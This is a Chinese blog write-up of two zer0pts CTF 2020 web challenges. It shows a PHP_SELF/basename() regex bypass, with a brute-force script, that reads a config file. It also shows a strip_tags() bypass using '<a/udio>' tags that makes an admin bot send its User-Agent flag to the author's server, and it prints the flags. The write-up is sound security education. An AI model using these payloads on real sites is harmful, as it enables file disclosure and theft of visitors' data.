zer0pts CTF 2020 Writeup

Author:颖奇L’Amore Blog:www.gem-love.com

日本的比赛,比赛时间和XCTF完美重合,XCTF就全程自闭,这个比赛也全程自闭


Can you guess it? (338pt)

这题挺好玩的,上来就可以得到源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>`

可以看到有一个随机数,如果能够破解随机数就能得到flag,在这里卡了半天也没做出来:

`$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

但其实仔细看可以发现这里有蹊跷:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

正则的匹配ban掉了config.php。然后会highlight_file()

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

可以发现这里加上了basename() 可能是为了跨目录读文件,而问题正好出在了这里,演示:

当我访问test.php时,我可以在后面加上一些东西,比如/test.php/config.php,这样仍然访问的是test.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里,这道题就做完了。所以说,那个随机数就是个障眼法 可以发现发现,这个正则匹配了config.php/为$_SERVER['PHP_SELF']的结尾

/config\.php\/*$/i

老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:

/index.php/config.php/%0d

然后尝试在后面加上?source但是却失败了。这里绕过正则主要是通过后面填充一些东西来绕过正则中的$,于是写了个脚本跑一下看看什么东西能成功:

#Author:颖奇L'Amore www.gem-love.com
import requests
for i in range (0,500):
url = 'http://3.112.201.75:8003/index.php/config.php/{}?source'.format(hex(i).replace('0x', '%'))
r = requests.get(url)
if r"zer0pts" in r.text:
print(url)
print(r.content)
break

跑一下得到flag:

flag:zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}


MusicBlog (653pt)

考点一、代码审计

下载附件得到源码,源码很多,但是做题并不复杂。 首先是bot代码:

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};

// (snipped)

bot将Flag设为UA去点击#like标签 接下来审一下题目web程序的源码,首先在init.php可以看到有CSP:

header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

题目是一个博客,发表的文章会被后台管理员的Bot检查,加上CSP,基本可以断定是个xss的题。 在查看文章的post.php发现如下代码:

<h1 class="mt-4">
<?php if ($post['published'] === '0') { ?><span class="badge badge-secondary">Secret</span><?php } ?>
<?= $post['title'] ?>
</h1>
<span class="text-muted">by <?= $post['username'] ?> <span class="badge badge-love badge-pill"><?= $post['likes'] ?></span></span>
<div class="mt-3">
<?= render_tags($post['content']) ?>
</div>
<div class="mt-3">
<a href="like.php?id=<?= $post['id'] ?>" id="like" class="btn btn-love">♥ Like this post</a>
</div>

在输出内容时调用了自定义的render_tags()函数,跟进到util.php:

function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}

在发表新文章地方有这样的提示:

这个URL被替换成<audio>标签就是在render_tags()中进行的。这题目出的很明白了,还特意给了提示,URL也没有进行安全检查,基本可以肯定就要在这个URL上做文章。

考点二、strip_tags()安全问题

继续看render_tags()函数,在进行URL替换为<audio>标签之后,用strip_tags()函数剥去了除<audio>外的标签。假设我传入的URL为:

\[\[y1ng"></audio><script>alert(%27a%27);</script>"\]\]

经过preg_replace()替换后变成了:

<audio controls src="y1ng"></audio><script>alert('a');</script>""></audio>

可以看到<script><audio>标签中逃逸出来实现了xss,但是经过strip_tags()的剥去html标签处理后,字符串变成了:

<audio controls src="y1ng"></audio>alert('a');""></audio><br>

这样又不再能xss了。但是可以发现一个非常有用的信息,在alert()前面的</audio>标签是我们认为传进去的,同样被保留了,这是因为html标签成对出现,因此strip_tags()的处理也自动对白名单标签的闭合标签做了白名单处理,经测试,如果以闭合标签为allow参数,那么该函数则不会把它的“另一半”也allow了。 为什么对应的闭合标签会被同样保留?经过测试发现,假设allow的标签为

</a/udio> <aud/io> <au//dio> </a/u/d/i/o>

那么,这样的标签是什么意思呢? 可以看到,在标签中间的/似乎把后面注释掉了,导致“udio”变成了白色

在浏览器中,<a/udio>会被解析成<a>于是就成了一个超链接

同样的</a/udio>会被浏览器认为是</a>,这样就能构造<a></a>的一对闭合标签实现了超链接

考点三、XSS

提交如下payload:

\[\[y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>\]\]

就会被处理成:

<audio controls src="y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>"></audio>

可以看到确实能够实现超链接:

但是超链接有什么用?能执行JavaScript吗? 再次回到bot:

await page.click('#like');

bot会点击#like,而现在我们能够通过标签的逃逸来自定义出一个超链接,只要在自定<a>中设置了like这个id,管理员bot就会带着flag来点击访问这个超链接,这时候就能得到flag了。payload:

\[\[y1ng"></audio><a/udio id="like" href="http://gem-love.com:12358">1</a/udio>\]\]

flag: zer0pts{M4sh1m4fr3sh!!}

Author: Y1ng
Link: https://www.gem-love.com/2020/03/09/zer0pts-ctf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!